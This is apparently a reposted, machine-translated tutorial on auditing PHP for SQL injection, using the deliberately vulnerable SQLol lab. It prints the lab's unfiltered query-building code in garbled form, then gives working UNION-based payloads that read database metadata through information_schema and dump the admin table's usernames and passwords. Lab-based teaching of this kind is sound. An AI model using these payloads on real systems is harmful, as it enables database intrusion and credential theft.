[PHP code audit instance tutorial] SQL injection-1. the blog will update several PHP code auditing tutorials recently. the articles are reposted from a friend's blog. the style of the articles is concise and clear, and are similar to what I always stick to in my blog.
The article has been authorized (cnbraid authorization), although not original, but the article is awesome, I hope my friends like it.
0x01 background
Congratulations, master Seay's masterpiece code audit: enterprise-level web code security architecture. Two days later, I was deeply touched. I have been thinking about auditing myself for two years. I decided to write a series of PHP code auditing instance tutorials, hoping to help new users better understand this field, it also serves as a kind of precipitation. Please bypass yourself ~
0x02 environment setup
There are many integration environments for PHP + MySql, such as PhpStudy, Wamp, and Lamp. The next step is to install them successfully.
The environment mentioned here is SQLol. it is a configurable SQL injection test platform that contains a simple SQL injection test environment, that is, the four-element add (Insert) of an SQL statement), Delete, Update, and Select ).
PS: There are too few cases where nothing is filtered. programmers who have no access to security now all know that they use some ready-made frameworks to write code, all of which are filtered. Therefore, this platform mainly trains how to perform SQL injection and write POC in various situations.
I packed a copy of the source code: http://pan.baidu.com/s/1nu2vaOT
② Decompress the package to the SQL directory of www and open http: // localhost/SQL to see the following interface:
0x03 vulnerability analysis
First, let's look at the source code structure, which is relatively simple. Only one include folder contains some database configuration files:
Here, we will perform a simple source code analysis. if you do not understand it, I will skip it and try again later ~
1. check the select. php file and introduce/include/nav. inc. php.
2. follow up with the nav. inc. php file and find that the file is the core form submission page of select and the input handler:
The form input processing program is relatively simple. it mainly filters and processes the form based on your selection, as shown below:
3. let's return to select. php and find that there is also a form processing program after the submit, judge the location of the injection and construct an SQL statement. let's take a look:
'. $ _ REQUEST ['inject _ string'].'';} Else {// Here is the SQL statement $ display_column_name = $ column_name = 'username' based on the location you choose to inject; $ display_table_name = $ table_name = 'users '; $ display_where_clause = $ where_clause = 'Where isadmin = 0'; $ scheme = $ group_by_clause = 'group BY username'; $ display_order_by_clause = $ order_by_clause = 'Order BY username ASC '; $ display_having_clause = $ having_clause = 'having 1 = 1'; switch ($ _ REQUEST ['location']) {case 'column _ name ': $ column_name = $ _ REQUEST ['inject _ string']; $ display_column_name =''. $ _ REQUEST ['inject _ string'].''; Break; case 'Table _ name': $ table_name = $ _ REQUEST ['inject _ string']; $ display_table_name =''. $ _ REQUEST ['inject _ string'].''; Break; case 'WHERE _ String': $ where_clause = "where username = '". $ _ REQUEST ['inject _ string']. "'"; $ display_where_clause = "WHERE username = '".''. $ _ REQUEST ['inject _ string'].''. "'"; Break; case 'WHERE _ Int': $ where_clause = 'Where isadmin = '. $ _ REQUEST ['inject _ string']; $ display_where_clause = 'Where isadmin = '.''. $ _ REQUEST ['inject _ string'].''; Break; case 'group _ by': $ group_by_clause = 'group by'. $ _ REQUEST ['inject _ string']; $ display_group_by_clause = 'group '.''. $ _ REQUEST ['inject _ string'].''; Break; case 'Order _ by': $ order_by_clause = 'Order '. $ _ REQUEST ['inject _ string']. 'asc '; $ display_order_by_clause = 'Order '.''. $ _ REQUEST ['inject _ string'].''. 'Asc'; break; case 'having ': $ having_clause = 'having isadmin = '. $ _ REQUEST ['inject _ string']; $ display_having_clause = 'having isadmin = '.''. $ _ REQUEST ['inject _ string'].''; Break;} $ query = "SELECT $ column_name FROM $ table_name $ where_clause $ group_by_clause $ order_by_clause";/* Probably a better way to create $ displayquery... this allows me to underline the injection string in the resulting query that's displayed with the "Show Query" option without munging the query which hits the database. */$ displayquery = "SELECT $ display_column_name FROM $ display_table_name $ Display_where_clause $ display_group_by_clause $ display_order_by_clause ";} include ('primary des/database. inc. php'); // Another package is introduced here. let's continue to follow up.}?>
4. follow up with database. inc. php and finally bring it into the query. as a result, the form is understood, and the whole process is not filtered ^
$db_conn = NewADOConnection($dsn);print("\n
\n
");if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is underlined): " . $displayquery . "\n
";$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);$results = $db_conn->Execute($query);
0x04 proof of vulnerability
1. with the injection point, we enter 1 at will and select the number in the Where clause to enable MySql log monitoring for Seay:
2. SQL query statement: SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
Based on the SQL statement obtained in MySql log monitoring, only one field can be output. then we construct the POC:
-1 union select 222333#
Locate the output point "222333", for example:
3. construct the POC for obtaining database information:
-1 union select concat(database(),0x5c,user(),0x5c,version())#
The database name (sqlol), account name (root @ localhost), and database version (5.6.12) are obtained as follows:
4. construct a POC to obtain information about all tables in the database sqlol:
-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#
Information about all sqlol tables in the database is obtained as follows:
5. construct the POC for obtaining all the fields in the admin table:
-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#
All the admin fields in the table are obtained as follows:
6. construct the POC for getting the admin table account password:
-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#
The administrator's account and password are successfully obtained as follows:
Original article address:
Http://www.cnbraid.com/2015/12/17/sql0/